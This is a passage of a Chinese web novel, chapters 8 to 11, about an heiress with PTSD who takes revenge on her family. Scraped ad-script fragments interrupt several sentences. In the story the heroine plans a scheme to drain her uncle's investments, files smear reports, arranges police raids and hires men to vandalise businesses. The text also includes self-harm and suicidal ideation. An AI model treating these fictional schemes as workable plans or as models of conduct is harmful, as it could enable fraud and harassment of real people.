她这时候跟施言谈,谈出个竞争对手,平白给自己添麻烦。 爷爷和大伯母陆续给了施言不少钱,她在国外读书的这些年也没少做投资,回国的时候,回笼了大笔资金。谢承安那一窝废物战力太渣,都没能让施言动用手里的资金就败北失去了公司控制权。 施言现在有那财力收购谢承 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安的股份,只不过把现金都投到一家公司,不利于规避风险。收购完公司,调整公司经营增加盈利,拉升股价,也得用到钱。施言要是动用了这笔资金购入股份,手里就会缺钱。 谢轻意秉持利益最大化原则,想通吃,不乐意跟施言谈瓜分,更不乐意在施言后头捡剩。 施言“啧”了声,问:“怎么?我不配跟你谈?” 谢轻意说:“你们先搞定谢承安再说吧。” 她们要是搞不定谢承安,她对大伯母的这家公司就是另外的出招了。 施言瞧见谢轻意这副不爱搭理人的死样子,突然有点手痒,暗暗呲牙。从谢轻意被谢老七两口子刺激得不轻来看,不是看起来的那么冷漠的嘛。 她在心里轻哼声:“走着瞧。” 找养母施惠心去了。 谢轻意在施言走后,又联系安排到谢承安身边的人,可以动起来了。 谢海的事留有口子,可大可小,往大了弄,能进去,往小了弄,退款赔钱还是能把人保住的。谢承安保谢海得出钱,其他子女会闹意见,那就从闹意见的人下手。他如果不保谢海,那就从谢海下手。不管怎么样,内讧是免不了的。咬不死谢承安,也能让他流点血掉块肉,闹他个满头包。 再就是,这些年谢先老生一直在给大家发生活费。 如今老先生没了,谢承安那些儿女子孙们的生活费也断了,他们当然得问谢承安要钱了。谢承安刚继承大笔遗产,两大箱古董可是他们亲手抬回去的,都眼红着呢。 他养儿孙的经济压力越来越大,她安排的跟谢承安接触了好几年的投资人,已经让谢承安对他的身份、眼光都有了一定的信任,如今正好有现成的赚钱项目,又正好缺资金,再来点项目很抢手很多人争着要的造势,就问谢承安能不能忍住不投。 等到他开始投,那个项目就会变成掏空他的无底洞。那些钱会通过正常的商业合作渠道,进入她控股的公司,落到她手里。 谢承安跟谢老七说她设局骗他儿子去赌输了好几百万,纯属侮辱人,偏偏谢老七还信! 呵! 谢轻意想起谢老五在早餐的时候,跟在谢承安、谢老二身后,在谢老七那里煽风点火,心头又是一阵不痛快。谢承安要是有事,谢老五一定会帮忙的,这人还是有几把刷子的,指不定会坏事。 谢老五单位的一把手快退休了,他现在正跟另外两个副职竞争一把手的那位置。 谢轻意在手机相册里翻找谢老五的照片。 谢老五这人嘛,家里条件好,不贪污不受贿,可清廉了。 可谢老五能给她泼脏水,她也可以啊。 家里条件好,古董多,他又是个爱鉴赏的古董喜欢显摆的,平时在谢老先生这里,没少拿出来欣赏把玩。他前几天刚抬了一大箱子古董回去,家里的古董是真不少。 这些古董,好多都是老先生在几十年前入手的,那时候可没有交易证书、往来凭据什么的。 谢轻意把谢老五鉴赏古董的照片发给底下跑腿的,让人递到纪委那里去。 谢五先生慢慢去跟纪委的人解释那些古董的来历吧。等他解释完,纪委调查调清楚,一把手的位置早成别人的了。 他的年龄大了,错过这次晋升,这辈子在副职的位置上到头了。 一辈子没混到个正职,遗不遗憾,得老遗憾了。她没能给爷爷扶灵送终,没能送爷爷最后一程,她也老遗憾了。 谢轻意一桩桩安排完,躺床上,想了想,感慨句:还是不当人好。 不当人,我不好过,你们也全都别想好过。 8. 第 8 章 谢轻意气不顺,针对谢承安一下子展开疯狂报复。 谢承安的那些儿孙们走在外面,能称得上是富家公子哥儿。如今谢老爷子过世,五百万现金到手,死对头谢轻言捅自己一刀,躺在医院对着亲爹妈疯狂输出,直接微信朋友圈开骂,瞧着就让人高兴。叫上朋友聚在一起开个party,庆祝一下,顺便点几个妹纸过来陪酒,喝高了再来点成人运动,就成了顺理成章的事。 谢轻意安排盯梢的人拍照录像,给他们点了。聚众OX,其中还有两个吸上的,直接一窝全蹲局子里去了。这两桩在我国都属于严打范畴,违法犯罪的,人前脚抓进去,眼线后脚举报到他们单位,工作当然也没啦。 她有几个堂侄开有KTV、酒吧、洗脚城,这种龙蛇混杂的地方就更好搞事了,但凡有踩灰线的,或涉及违法的,通通举报。 做正经生意的,安排几个人到大门口啪啪啪砸几箱啤酒,砸得满地酒水碎玻璃,这生意怎么做!心情不好,喝多了,砸点啤酒,又没伤到人,撑死就是个寻衅滋事进去蹲几天,那些都是街流子,蹲习惯的。 搞婚外情、染脏病的,但凡是不太见得光的、不光彩的,全给他们捅出去。 上梁不正下梁歪,谢承安那德性,底下的儿孙强不到哪里去,真找不到几个屁股干净让人一点毛病都找不出来的,于是一时之间,谢家上下鸡飞狗跳不说,谢承安儿孙们的狐朋狗友都被牵连了一大堆。 谢七先生从自家车库开车出去,差点变成偷车贼,让人请到派出所,解释半天,还出示了工作证件,最后派出所调监控查明他确实是从自己家里开的车出来,哦,误会啊,把他给放了! 虽然说是误会呵,但谢七先生这辈子没丢过这么大的脸。 他这正气着呢,谢轻意搅得谢家上上下下不得安宁的那些事一桩桩爆出来,那真是打心底觉得这孩子没救了。疯了! 他思来想去,翻来覆去,一晚上没睡着,第二天,找了精神科医生给谢轻意看病。 这要是脑子真出了问题,那就送去精神病院好好治,省得在外面发疯。 眼线没敢盯谢七先生,直到谢七先生带着精神病院的医生到了病房,要带她去做精神鉴定,谢轻意才知道。 谢轻意先是愕然,随即乐了,连眼里都染了笑,表情却是极尽嘲讽,说道:“你带精神科医生过来,是想证明你们这对做父母的有多失败么?” 谢七先生沉声道:“如果你有精神病,那就好好治。” 谢轻意轻哧一声,将目光落到精神科医生身上,道:“先给我看看你们的工作证。” 精神科医生把工作证递给谢轻意,道:“谢小姐,您别误会,我们只是想了解下您的情况,不一定就是说您有这方面的疾病……” 谢轻意抬手制止了他的话,将工作证还给他,说:“我配合你们做检查。” 她既不考公,又不考编,有没有精神病一点都影响不到她。如果谢承佑打着把她关起来强制治疗的主意,那么抱歉了,鱼死网破之下,谁都别想好过。 她住院,安排了四明四暗八个保镖在附近,保镖队长那边也做好随时支援的准备,以防万一。再就是,她动完肠道大手术,到现在都只能少少地喝点米粥,一旦没长好的伤口破裂,肠漏或者大出血,会非常麻烦,甚至危及生命。 她不在乎谢七先生会不会考虑到她的死活,但她得考虑到自己万一死了呢?总得拉上一堆垫背的吧,不然多亏。 精神科在另一栋楼,谢轻意带着保镖和生活助理,跟着医生过去。 到了精神科,谢七先生担心谢轻意收买医生,一直跟在旁边。 文兰女士打谢七先生的电话,得知给她挂了精神科,也赶到了过来。 谢轻意淡淡地嘲讽道:“有意思呵,早干嘛去了。” 她知道他们不是在关心她的精神状态,只是觉得她最近做事像疯了,确认下她是不是真疯了! 谢七先生给她挂的博士生导师专家号,挺权威的。 谢轻意在做过心理状态检查、脑电波检查等一系列检查后,在医生问起她的成长经历时,从什么时候开始做噩梦、失眠时,也都做了回答,没有任何隐瞒,反而答得非常详细。 她对自己的情况,心里还是有点数的。 她小时候其实还好,问题是出在奶奶过世后。 奶奶过世本来就伤心,然后一下子伯伯姑姑堂姐堂哥侄子侄女们都对她恶意满满,让她很不适应,但她内心蛮强大的,你们不讨厌我,我本来也不喜欢你们,没关系。 直到遭遇绑架之后。 其实,绑架没成功。 她从学校出来,旁边的车门突然开了,她一眼跟车上下来的人对视上,觉得对方的眼神不对,扭头就跑。对方离她仅几步,大人,步子迈得大,眼看就要追上。正好旁边停着辆豪车,她扑上去就把车标给掰了下来,再用车标从车头划到车尾,然后就让气急败坏的车主给揪住,一堆人围上来看热闹。 车主揪着她,报警了。 绑匪溜进人群里不见了。 她认得其中一人,是她大伯的跟班。 她回家说大伯派人绑架她,才划的车,反被父母打电话大骂一通,遭到全家指责。 那时候爷爷九十岁了,奶奶过世对他的打击很大,病倒了,无瑕照顾她。 那是她这辈子第一次体会到孤立无援,也看明白自己的父母有多傻逼。 虽然她有到保镖公司雇保镖保护自己,但小孩子嘛,担惊受怕后又心里委屈,还让谢七先生、文兰女士在电话里骂她,骂得很难听,他们那嘴脸意外地跟绑匪重合。 从那以后,他们出现在梦境里,不再是父母,而是绑匪。 最开始她害怕,不敢睡,睡着后总是在黑暗中一个人挣扎。后来,习惯了,麻木了,不怕了,人也开始变态了。 老教授问她:“你觉得自己开始变态了?是个什么样的变态法?” 谢轻意说:“觉得活着没意思,想死,想拉着谢家所有人去死,想让谢家上上下下家破人亡,但我爷爷很疼我,他就像一束光照进黑暗中,你知道那种地下几百米的开坑吧,很深很深的天坑,很黑很黑,只有顶上有一个洞,有光从那里透进来,那束光就是爷爷带来的。” 老教授问:“你爷爷呢?” 谢轻意轻轻的缓缓的吐出两个字:“死了……” 老教授问:“爷爷是什么时候过世的?” 谢轻意说:“一周前吧。”她报了具体的日期、时间。 老教授的目光在谢轻意的病服上扫了眼,想到了解到的病情是捅了自己一刀,又问:“爷爷过世后又发生了什么事吗?” 谢轻意就把爷爷过世后发生的一桩桩一件件事情详详细细地告诉了老教授,包括谢老七在灵堂听她大伯、二伯讲了一夜的鬼话,她失眠一晚没睡着,她在书房开着监控听他们讨伐她时,心里想的是什么,又为什么要捅自己。 谢七先生的文兰女士听得都沉默了。 谢轻意没说的是,其实有极短暂的那么一瞬间是想捅谢老七来着,但谢老七的身手挺好的,她要是捅他,只能是自取其辱,自找麻烦,而且捅了他,她会进去,后面的很多事都不好操作。 老教授问:“那你现在有什么想法吗?” 谢轻意说:“那么黑的天坑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 底下,连束光都没有了,只剩下一群傻逼妄想踩到我头上蹦达,那当然是要把这群傻逼全埋进去,然后我出去。” 她说完,扭头看向谢七先生的文兰女士,问:“二位,满意了?” 谢七先生和文兰女士看着她不说话。 谢轻意轻笑一声,问:“知道我为什么要当着你们的面这么配合吗?” 谢七先生沉默不语,直直地盯着这个无比陌生的女儿。 文兰女士的嘴唇颤了颤,想问为什么,声音哽住。 谢轻意说:“那是因为想让你们这对纯血傻逼死个明白。” 爷爷就是镇压黑暗的那束光,光没了,黑暗失去镇压,自然是里面的恶魔爬出来报复了。 文兰女士缓了缓,问老教授:“您看轻意这个情况,要吃什么药?” 老教授很为难。 病人的逻辑思维都很清楚,意识也很清醒,她清楚地知道自己疯,清楚地知道自己的精神、心理有问题,病根是旁边的二位。 老教授只能开了些常规的治疗精神疾病的药物,然后劝谢七先生和文兰女士:“有什么事多跟孩子好好沟通,多听听孩子的想法,多注重孩子的意见。” 谢轻意冷然一笑,道:“谢七先生这会儿内心是拒绝的,您的诊治结果,他接受不了。与其让他接受有病的其实是他,或者说是接受我是因为他们而造成这么个情况,不如让他接受我就是个天生的坏种心理变态,这些都是我为了对他们进行心理攻击编造的故事。文兰女士的想法嘛,孩子既然有病,那就吃药,我们治,治好她。” 老教授让她给整沉默了。 他想起一句话,她只是疯,不是智商有问题。 他从这孩子受了重伤住着院,父亲一声招呼都没打,直接去到病房把人带到精神科就能看出问题结症所在。 干他们这一行,见多了这种,孩子有病,但父母病得更重的情况。 可没招。 做父母的把孩子逼跳楼,最终还是指责孩子,不会反省自己的错误。 显然,这孩子知道是个什么情况,对她父母不抱任何希望,只想报复。 这种情况,吃什么药都没用。 劝解,劝不了,也解不了。 谢轻意抬抬手,生活助理会意,推着她的轮椅出了诊断室。 四个守在门口的保镖赶紧跟上,牢牢地护着自家老板。 甭管老板有没有精神病,反正老板不朝他们发病,工资奖金给得高,福利待遇特别好,即使偶尔脑子抽风想干点可能违反法律法规的事,劝一劝,她也听。 他们不想换工作,不想换老板,因此打定主意,以后坚决不能让屋里的两口子靠近他们老板,以免再刺激到她。 谢轻意回到病房,躺床上,极其罕见的给谢七先生发了条消息:“谢老七,需要我给你到精神科挂个号吗?刚才那位老教授看起来挺靠谱的。” 她等了好一会儿,没收到回复,又发了条消息:“去不去,你倒是回个信儿呀,我不像某些人一点都不尊重别人,我还是挺尊重您的意愿的。” 消息发出去,收到的是红色感叹号,以及一句“消息已发出,但被对方拒收了。” 谢轻意愣了两秒,随即笑出了声。 施言刚到病房门口,就看到谢轻意在笑,往后退了两步,先看看像门神一样守在病房边的保镖,又看了眼门牌号,再看了眼走廊,没错,就是这儿,没走错地儿,没认错人。 她进入病房,把提来的水果零食放下,问:“捡到钱了,这么高兴?” 谢轻意扫了眼施言拎来的东西,眼神示意生活助理收下:你们的零嘴来了。 9. 第 9 章 施言发现谢轻意的心情竟是罕见的好,眼里漾着微微笑意,整个人都柔和了许多,甚至眉宇间还有些得意浮现,竟有几分神采飞扬的意味。 她想了想,谢家最近虽说是乱哄哄的,但远远没到要倒的地步吧? 施言在床边坐下,问:“有什么事这么高兴,分享下?” 谢轻意淡淡地扫了眼施言,眼里的笑容隐去,问:“你很闲?” 施言最近天天来探望谢轻意,已经熟知她的一些特定话语,例如,你很闲,那就是,我给你找点麻烦让你忙起来。她赶紧说:“忙,还没找到王定坤。” 她特别狗腿地轻轻捶着谢轻意的胳膊,道:“您给指点一二?” 谢轻意斜睨一眼施言,又扫了眼被施言轻轻锤着的胳膊,大概是因为最近每天都能见到,又或许是极难得的她住院居然有人每天都能来探望她,虽然怀有目的,别有居心,四舍五入,也是探望嘛,不是员工照顾老板的那种。 于是,她没收回胳膊,让施言继续捶。 施言觉察到谢轻意没挪开手拒绝,捏胳膊的动作改成按摩式的轻捏,央求道:“求您了,行吗?” 谢轻意说:“你又何必执着于王定坤呢?逮到他,没有其他证据,很难定得了谢承安的罪。” 施言说:“我逮着他,谢承安总不能坐视不理吧?用他来当饵还是不错的。” 谢轻意说:“你跟谢承安派过去的人都挺……咳,王定坤在地下赌场当打手,你的人跟谢承安的人同时找过去,你派的人,拿着照片找人问,问的是赌场服务员,服务员直接去报了信。谢承安更傻逼,派去的人是王定坤认识的。他没看到王定坤,但王定坤看到了他,于是王定坤直接溜了。” 她嘲讽地轻呵一声,又补充句:“不在缅甸了。” 投奔远房表亲,去了越南。当然不能施言一打听就说,谢轻意问她:“你来探望伤员,就不能买点伤员爱吃的?” 施言理直气壮地说:“你钓着我,我当然也要钓着你,礼尚往来嘛。” 一点零食,谁稀罕。谢轻意无语,懒得再搭理她。她把胳膊收回来,不让施言再按。 施言起身到旁边的茶几旁,打开生活助理拎过去的零食袋,从中提出一个保温盅,回到谢轻意旁边。 谢轻意的目光落到保温盅上,暗暗猜测:逗我玩?还是有吃的?粥? 她现在只能吃流食,粥、糊糊之类的。 施言见到谢轻意的眼睛定在保温盅上,噗哧一声乐了。那巴巴的样子全然没有平时的冷漠模样,终于有点二十岁小女生的样子。她笑问道:“猜猜是什么?” 谢轻意冷哼声,心说:“谁稀罕。”扭过头去,不看施言和保温盅。 施言可是知道谢轻意的秘书每次来都给带糖,谢轻意每次都放在床头,然后等到下次她再来时,糖纸在床边的垃圾桶里。 谢轻意爱吃甜食。 她替谢轻意放好小餐桌,打开保温盅,说:“特意去买的糖粥,尝尝合不合你口味。”将勺子递给谢轻言。 谢轻言想说不吃。 可是住院这么多天,有人来探望,给买爱吃的食物,还是有点馋。她接过勺子,回了句:“越南。”把王定坤现在的地址,以及他去投奔的谁,都告诉了施言。 两清了! 一碗糖粥换一个人,施言还是划算的。 当然,她也可以把眼线撤回来了。总派人盯着,工资不便宜。 施言开心地揉了把谢轻意因为有伤不方便洗头而变得不那么顺滑的头发,扔下句:“谢了!” 起身,快步出去,打电话去了。 谢轻意拿起勺子盛粥的动作顿住,她抬起头看向门口,听着快速离开的脚步声,差点把勺子扔了粥掀了。 就知道施言只是来换消息,不是来探望伤员的! 谢轻意气得差点想通知眼线打草惊蛇,让王定坤再跑一跑。 她冷哼一声,发消息,让人把王定坤的消息透露给谢承安:竞争去吧。 她刚发完消息,施言又回来了。 谢轻意瞬间心虚,默默地把手机塞到被子里。她心说:“我心虚个毛,谁叫你揉我头!我俩很熟吗?” 施言把手机揣回兜里,跑去洗手间洗手。她的声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 音从洗手间里传出:“谢轻意,你有几天没洗头了?头发上全是油。” 谢轻意捏着勺子定在原地。她心说:“施言是在作死吧?是在找死吧?是在想死吧?” 不知道我是疯的,还来惹我?提起这事。她又想起看精神科的事,想了想,给生活助理发了条消息,让她跑一趟精神科,去把诊断报告取回来。 病都看了,总得知道个结果吧。 强者,从不畏惧一切,包括自己得的病。 施言洗完手,擦干净手上的水,又回到病床边,拿过谢轻意手上的勺子,端起保温盅,说:“为了感谢你告诉我王定坤的消息,我喂你吃。” 谢轻意:“……” 她很想问:你是在作死边缘反复横跳吗? 施言盛了一勺粥喂到谢轻意的嘴边,道:“说起来,你该叫我一声堂姐,我妈也叮嘱我照顾着你些。虽然感觉你用不着让人照顾,但我这堂姐尽点绵薄之力还是可以的。” 她嘴里这么说,实际上却是想起谢老先生临死时紧紧地拉住谢轻意的手,放心不下,一直对谢老七说,疼疼轻意。 这孩子缺爱,还超大方! 谢轻意对施言的话,一个字都不信。她说:“你知道我是怎么对付我的堂哥堂姐们的,包括堂侄们。” 施言没接话,盛有粥的勺子喂到谢轻意的嘴边,示意她喝粥。 谢轻意说:“我有手。” 施言扫了眼藏在被子里的左手和手机,道:“你的那只手是不是刚通知了谢承安?” 谢轻意脸不红气不喘:“你要钓鱼,也得通知谢承……”话到一半,粥塞嘴里堵住了嘴。 谢轻意呆住。她又不是几岁小孩子,用得着这么喂粥的。不是,这施言什么毛病! 谢轻意一把夺过勺子,自己吃!有点生气。 施言柔声说:“吃慢点。” 谢轻意的鸡皮疙瘩都起来了,差点想让保镖把施言拖出去打一顿。她心说:“她有病吧!” 再想到眼线发回来的消息,施言确实……有病。 谢轻意突然好奇,她俩到底谁病得更重。 10. 第 10 章 生活助理在施言走后,将取回来的诊断报告交给谢轻意。 谢轻意毫不意外自己会有创伤后应激障碍,中度。症状为冷漠麻木、睡眠障碍、抑郁、出现攻击行为等,来了非常典型的大礼包套餐。 这个老教授比较有意思的是,他在治疗方案中写了这么一句:建议患者尽量避免或减少与父母接触。 谢轻意直接看乐了,笑了,然后又突然鼻子一酸。 也就酸了那一下,便让她把情绪赶走了。她将报告扔到一边,躺在床上发呆。 她跟他俩不会有多少接触的,过几天,他们就要回部队了。 怨恨他俩吗?怨恨的。报复吗? 他俩从军校毕业,就去了人烟稀少的边疆苦寒之地,一呆就是好几十年。两人能让谢承安哄骗成那样,除了偏听偏信,就是离家太远回家太少,信息渠道封闭。家里能借他俩光的地方就是我们家有这么几个人在部队,提起来有面子,让人高看一眼,实质性的帮助、利益输送,一点都没有。 她唯一能报复方式就是,让自己成为他们的污点。 现在已经算是了。 谢轻意觉得怪没意思的。 下午,谢轻意梦到自己被一群人追杀,先是被人捅了一刀,倒在地上时,无数的刀子落下,挥刀的人又变成了丧尸,她倒在丧尸堆里,眼看就要被撕碎。 如此惨死,竟有着畅快感。 死成这样,能解脱了吧。 然后,梦结束,醒了。 睁开眼,是医院雪白的墙顶。 谢轻意没忍住,翻了个大白眼,一瞬间有着从窗户跳下去的冲动,可扭头一看窗户,呵,为防病人跳楼,窗户开得可小了。 她躺了一会儿,坐起身。 守在外间的生活助理见状,快步赶到谢轻意身边扶她坐稳,又把床头调高,让她能靠着。她告诉谢轻意:“你睡着后不久谢承勤先生来了,在外面等了你一个多小时了。” 谢承勤,谢老六的名字。 谢轻意轻轻颔首。 生活助理去病房外,把谢承勤请进来。 谢承勤进入病房,见到外间客厅没有人,一眼瞥见小侄女在里间的病床上坐着,于是到将提来的易消化水果甜食放在客厅茶几上,之后到里屋门口,先敲了敲门,示意:我能进来吗? 谢轻意面无表情地喊了声:“六伯,请进。” 谢承勤出于干侦察兵出身的职业习惯,进门的瞬间就已经把屋子里的一切尽收眼底,心里有点不是滋味。 大部分病房,生活用品、瓜果补品、生活垃圾、消磨时间的东西会有一堆。小侄女的病房,也就外间放着点零食水果,还一看就不是给她这个刚做过肠道大手术的伤患吃的。至于里间,要不是谢轻意还躺在床上,这屋子看起来像是没有人住一样。 一部手机,一个充电线,床头挂着吊瓶,床下摆着双拖鞋、放着一个扔了点糖纸的垃圾桶,没了,清冷冷的毫无人烟气息,包括床上躺着的小侄女,一点这个年龄该有的鲜活气都没有。 这阵子,大哥没少找他哭诉谢轻意到处举报他、搞他生意,痛诉谢轻意有多丧心病狂,她的保镖有多混账、多无法无天。 他查了下这群保镖的来历,都是退伍军人去了保镖公司,她花高薪挖保镖公司墙角雇来的,跟她最久的跟了八年了。干得最出格的事情,就是他的老本行,当侦察兵打探敌情。 大哥的那些生意,确实是谢轻意安排人举报的,但都是有凭有据没有平白污蔑,倒是那些生意是真操蛋! 他估计小侄女等到老爷子过世才动手,是怕这些事闹出来把老爷子气死。 谢承勤在床边的椅子上坐下,叹道:“难为你了。” 谢轻意问:“六伯有事?” 谢承勤说:“没事,就是来看看你。” 谢轻意不动声色地“嗯”了声。 她跟六伯的接触比起自家父母还少,也就他放探亲假回来看爷爷时,偶尔能遇到,仅限于见面打个招呼的往来。六婶去了六伯部队所在的城市,好几年见不着一面,也没电话信息往来。他的三个孩子,一个去空军部队当了飞行员,一个考编去了外地,还有一个在读博,她跟他们之间的交流往来就是当爷爷的传话筒、他们给爷爷买东西,她帮忙收个快递,再就是看上什么奢侈品贵重物时,他们找爷爷要完钱,打电话给她,通知她打钱。 双方有点互相看不顺眼,见面阴阳怪气,大的矛盾没有。 谢承勤对着这么冷淡的小侄女,有点没话了。 哪像他家那三个,都快骑到他脖子上去,特别是老三,天天咋咋呼呼的,二十多岁的人了,穿得可可爱爱的,背着个公仔娃娃背包,蹲部队大门口让人把他叫出来,见到他就蹿过来挂身上:“爸,没钱花了,来点零花钱。” 他又不是印钞机。 不给,不走!她就那么蹲着,只差没坐到地上打滚了。 他昨天问老三对谢轻意的印象怎么样,老三撇撇嘴。 他问:“怎么呢?你也觉得她继承遗产多,不乐意啊?” 老三说:“爷爷爱把遗产给谁是爷爷的事,就是,怎么说呢,谢轻意这人吧,我们跟她不是一个世界的人。” 谢承勤问:“具体是什么?” 老三想了想,说:“她看我的眼神,让我觉得自己像个傻逼。她不仅特装,还一副谁都不搭理的样子。我又不欠她钱,干嘛要热脸贴她冷屁股。而且,她是不是脑子有病啊,爷爷刚过世,她捅自己那么一刀,认识的,不认识的,都跑来问我,你们谢家怎么啦!我能怎么说,我总不能说我们谢家出了个神经病吧……”然后口若悬河地吐槽半个小时。 谢承勤想起大哥跟谢轻意斗得死去活来的样子,再想到老七在谢轻意捅了自己一刀后,居然还能扇得下去巴掌,也就不奇怪谢轻意为什么是这模样。 谢承安还想让他走关系捞人。捞个球! 他缓声说道:“你大伯的事,我托人查了查,也自己去看过,你做得很好。这些年,老爷子身边,是我们这些做儿女的没做到位,辛苦你了。往后要是有什么事,跟六伯打电话。你爸那边,我跟他谈谈。” 谢轻意轻轻地“嗯”了声,没说什么。 谢承勤想了想,又清清嗓子,说:“你钰堂姐其实挺好相处的,你多搭理她几句,多给她几个眼神,兴许就能玩到一块儿了,你们年龄相仿,都还是学生没毕业呢。你要是方便的话,她明天来看看你,行吗?” 谢轻意看明白了,这是来表达关心来了。她说道:“六伯别担心我,我挺好的。”她顿了下,又说:“谢老七那里,烦您操点心,我跟他们还是少些往来的好。” 她实在是不想见到谢老七夫妇,容易崩心态。 谢承勤点点头,道:“待会儿我就去找老七。” 他又犹豫了下,又说:“轻意,这个,你看……” 谢轻意扫了他一眼,面无表情地说:“今天谢老七带我去看过精神科了。” 谢承勤愣住:你怎么知道我要提去看精神科的事。 谢轻意淡淡地解释道:“你的语气、表情,要提的,也就这事。谈别的,用不着欲言又止有顾虑。我能在爷爷办丧事的时候捅自己一刀,任谁都会想是我心理或精神上出了问题,我跟谢家的其他人关系不好,你要是不来找我聊聊,担心我还闹出什么事。毕竟,你是唯一还愿意能跟我往来的长辈。” 谢承勤心里的那点想法让谢轻意一举道破,先是愣了好几秒,随即对她有点刮目相看,直言:“小侄女,你有点东西啊。”听这话就知道不是拎不清瞎作的。 他估计谢轻意肯定不乐意去,打算先劝一劝,慢慢给她做点心理建设,等到她身体好了,约个时间,找个精神科或心理科大夫看看。她要是同意,他好联系大夫。不同意,就再找机会做思想工作呗。哪想到已经去了,倒是有点意外。 不对!谢承勤忽然反应过来,提高音量,问:“今天?” 肠子捅断才治了几天,就拉出病房带去精神科?这路上来回折腾,一旦动到伤口,来个肠破裂、腹腔感染什么的,治起来会相当麻烦,且很遭罪。 谢轻意轻轻地“嗯”了声,说:“今天上午已经看过了,如你们所料,有精神病。” 谢承勤真想问一句,谢老七是不是有病? 他不敢再聊下去,怕再激刺到谢轻意。他说道:“行了,我这就去找老七谈谈,你安心养伤。”起身,走了。 他到病房门口,又回头看了眼躺在床上毫无生气的谢轻意,突然间有点看不下去。 才二十岁! 独生女儿。 弄成这模样。 谢轻意等谢老六走后,拿起手机看消息、邮件,回复信息。 她忙了一会儿,熟悉的脚步声走近,敲门声响起。 又是施言。 谢轻意抬眼看去:今天不是来过了吗? 一抬头就看到施言手上提着个大袋子,里面是一个带盖的大汤碗,还有碗筷。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 施言不动声色地扫了眼茶几上的袋子,一眼认出里面有好几款谢轻意爱吃的水果零食,心道:“谁来过啊。” 谢轻意这样子,看起来不像是有朋友的。谢家人里还有了解谢轻意口味喜好的?她不动声色,笑盈盈地走进来,将提来的东西放到床头柜上,说:“土鸡老火汤。” 谢轻意的目光在鸡汤和施言之间来回,问:“有事?”之前都是一天一趟,今天来两趟。 施言取出碗筷,盛鸡汤,说:“不能单纯送晚餐?你现在能吃点流食了,给你补补。” 谢轻意没拒绝,但喝了半碗鸡汤就喝不下了。 肚子疼,也没胃口。 吃多少算多少,施言没勉强谢轻意,而是略坐了一会儿,收拾了碗筷勺子告辞走了。 谢轻意听到施言离开的脚步声,又等了一会儿没见施言回来,招来保镖问,确定是真走了,有点诧异:真就是单纯来送晚餐的? 不打听点情况?不交流下进展?不开展下合作?不套点谢承安的其他罪证? 她随即又想:挺有耐心啊。 夜里,谢轻意的肚子疼得越来越厉害,上厕所有血,肠子又出血了。肚子疼,怀疑有肠粘连情况,这些都是肠道损伤术后容易出现的情况。 医生得知她今天出去过,骂了她一通。 谢轻意痛得一夜没睡,到半夜的时候发起了烧,之后便睡得昏昏沉沉的。 她忽然在想,要不叫来律师,立个遗嘱,把名下的所有财产全捐给山区小朋友为支援祖国教育事业做点贡献,然后就这样走了吧。 迷迷糊糊间,有一只手落在她的额头上。 手软软的,有着女性独有的纤细感,手掌微凉,落在热热的额头上,竟有些许舒适感。 她睁开眼,正好看到施言俯身凑过来盯着自己打量,那眼神不是担忧关切,而是像看什么有趣的东西,确切地说是像看有趣的猎物或玩具。当目光相对的那一瞬间,施言的眼神又变了,变成了带点关心,问她:“醒啦?我昨天的那碗鸡汤把你灌坏了?” 语气极其自然,仿佛朋友间的正常问侯。 谢轻意心说:“你也发病了?”倏然一乐。 当精神病都有伴,也挺好。她闭上眼,又迷迷糊糊地睡了过去。 谢轻意昏昏沉沉地睡了两天,才又逐渐好转。肚子每天都疼,疼着疼着就习惯了。 施言一下子忙了起来,没再来看她。 谢轻意在医院住了将近一个月,从深秋时节住到了初冬。 她出院的这天,下雪了。 谢轻意没直接回家,而是去了墓地看望老先生。 虽说人走了,就什么都不知道了。可她想来看看。 她站在老先生的墓前,才恍然惊觉,原来人走了,还会有活着的人惦念着,并不是一了百了。 只有无人惦念者,才是走了,就走了。 她应该就属于那个无人惦念者。 谢轻意在墓园待了一会儿,回到家。 家还是那个家,就是突然冷清了许多。 老先生的院子空了。 东西都还在,但缺少人烟气息,就显得空了。没有人坐在圆桌旁和她下棋,没有人躺在椅子上休息,没有人往池塘里投饵喂鱼,没有人沿着园林小道散步。 好在宅子其它方面还是一切如旧,没有因为她不在家,就让谢承安、谢老七他们给霍霍了。 谢轻意把管家、保镖、园丁、厨师、财务包括她的生活助理等聚到一块儿,他们替她守好家,兢兢业业地上着班,她这个做老板的不能当看不见。于是,开个短会,表示了感谢,把因为住院延迟发放的工资,通知财务明天发,并且每个人再额外发半个月工资作为奖金。冬天了,再发点过冬补助。 钱这东西,哪怕全留给谢老七他们,也不会落得一句好,发给身边的工作人员,好歹能换来真心实意的笑脸,听几句老板大方,老板万岁! 天冷,不想出门。 夜里,谢轻意蜷在书房的软榻上,腿上盖着毯子,看书。乱七八槽的事情多,用在学业上的时间极少,跷课是常态,但既然入了学,该完成的学业得完成。 十点多的时候,突然收到盯梢施言的人发来条消息,是一张偷拍的施言的照片。 看环境像是夜场,施言一改平日的职场风,连气场都变了,整个人变得张扬妩媚充满诱惑和侵略感,端着酒杯窝在沙发里,像悠哉地等待狩猎出现的吸血鬼女王。 这是,发病了。 11. 第 11 章 谢轻意只看了一眼,便把视线挪回教科书上,眼睛在看书上的字,脑海中浮现的却是偷拍的视频里的影像,魅惑如妖。 一个字都看不进去了。 谢轻意把书签夹里书里,合上书,给眼线发了条消息:位置。 眼线报上地址,又发了个定位。 谢轻意打开定位看了眼,给眼线发了五千块钱。这是给的消息让她满意,发的奖金。 她回卧室换了身长风衣,扣紧扣子,把自己捂严实,带着保镖出门。 外面下着小雪,路灯映照着纷纷扬扬飘落的雪花,微冷,沁凉。 谢轻意坐到大越野后座,才后知后觉反应过来:我去干嘛? 现场围观吗? 施言又不是动物园的猴。 可莫名的,她就是想去看看。 大晚上的,路况很好,车子开了半个多小时就到了地方。 这是谢轻意第一次进酒吧。 推开门,嘈杂声、晃眼的灯光、咣咣吵闹的音乐声扑面而来,谢轻意瞬间脑壳疼,下意识地后退一步,有点想扭头离开。 她讨厌吵闹。 